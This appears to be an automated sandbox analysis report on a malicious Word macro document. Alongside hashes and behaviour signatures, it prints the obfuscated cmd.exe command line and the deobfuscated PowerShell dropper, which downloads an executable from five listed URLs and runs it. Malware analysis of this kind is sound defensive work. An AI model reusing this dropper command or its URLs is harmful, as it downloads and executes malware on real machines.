Analysis

  • max time kernel
    139s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 00:13

General

  • Target

    5c35910b67ab050d07bf32199541ee31_JaffaCakes118.doc

  • Size

    69KB

  • MD5

    5c35910b67ab050d07bf32199541ee31

  • SHA1

    066f5b7a8b19a154479963f3b4cc966c953cd07f

  • SHA256

    66f8fcc2dc5ad76b8818676f97037f3c0decf466abb0a97d14c468160adc52b1

  • SHA512

    0d59aae0f06946794b5766607a98ced548337020be7bea1461fc8f95b0d22946ae5145055423aa476233c2c20cb7a75710add9ac0e4a71fce69f0ccb79375cb2

  • SSDEEP

    1536:zptJlmrJpmxlRw99NBF+a/szUmUmUlo/gGbc2+:9te2dw99fauNQc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bigsenindonesia.com/kYQ9UR0

exe.dropper

http://hotelnoraipro.com/iw0

exe.dropper

http://4theweb.co.uk/wwvvv/w3b

exe.dropper

http://andrewmiller.com.au/YJ7ro

exe.dropper

http://91.151.190.122/osticket/C1A9

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5c35910b67ab050d07bf32199541ee31_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /V^:^O/C"s^e^t rn=^ ^ ^ ^ ^ ^ ^ }}^{^hctac}^;k^a^erb;Mp^L$ m^et^I^-ek^ovnI;)M^p^L$^ ^,WhX$(eliFd^a^olnwo^D^.qnv${yrt^{)V^W^W^$^ n^i^ ^W^h^X^$(hcaerof;'^exe^.'+^wMO$^+^'\^'^+c^i^l^b^up:vn^e^$^=^M^pL^$;^'3^9^1^' ^= w^MO$^;)'^@'(t^i^l^p^S.'^9A^1C/^tekcitso/22^1^.^0^9^1^.^151^.^19//^:pt^t^h^@^or7^J^Y/u^a^.m^oc^.rel^l^imw^er^dn^a//^:ptt^h@b^3^w/vvvww/^k^u^.^oc^.^b^ew^e^ht^4//:^p^tth^@^0w^i/^m^oc^.orpi^aronleto^h//:^p^tt^h@^0RU9^QY^k/^moc^.^ai^senodnin^esg^i^b//:pt^th'^=VWW^$;tn^e^i^lC^b^e^W^.^t^eN^ tc^e^j^b^o^-^w^en^=^qnv^$^ ^l^lehsr^ew^op&&^f^or /^L %^H ^in (37^3,^-1^,0)^d^o s^e^t ^0^3^i=!^0^3^i!!rn:~%^H,1!&&i^f %^H ^ls^s ^1 c^al^l %^0^3^i:^~-3^74%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $vnq=new-object Net.WebClient;$WWV='http://bigsenindonesia.com/kYQ9UR0@http://hotelnoraipro.com/iw0@http://4theweb.co.uk/wwvvv/w3b@http://andrewmiller.com.au/YJ7ro@http://91.151.190.122/osticket/C1A9'.Split('@');$OMw = '193';$LpM=$env:public+'\'+$OMw+'.exe';foreach($XhW in $WWV){try{$vnq.DownloadFile($XhW, $LpM);Invoke-Item $LpM;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3952

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD83F6.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cnfwyhh5.rrp.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2136-12-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-14-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-3-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/2136-29-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-6-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-9-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-2-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/2136-31-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-13-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-15-0x00007FFFBC710000-0x00007FFFBC720000-memory.dmp

    Filesize

    64KB

  • memory/2136-11-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-10-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-8-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-32-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-16-0x00007FFFBC710000-0x00007FFFBC720000-memory.dmp

    Filesize

    64KB

  • memory/2136-30-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-5-0x00007FFFFE98D000-0x00007FFFFE98E000-memory.dmp

    Filesize

    4KB

  • memory/2136-4-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/2136-7-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-33-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-557-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/2136-0-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/2136-1-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/2136-531-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-532-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-533-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-534-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-535-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-560-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/2136-561-0x00007FFFFE8F0000-0x00007FFFFEAE5000-memory.dmp

    Filesize

    2.0MB

  • memory/2136-559-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/2136-558-0x00007FFFBE970000-0x00007FFFBE980000-memory.dmp

    Filesize

    64KB

  • memory/3952-40-0x0000013BFED90000-0x0000013BFEDB2000-memory.dmp

    Filesize

    136KB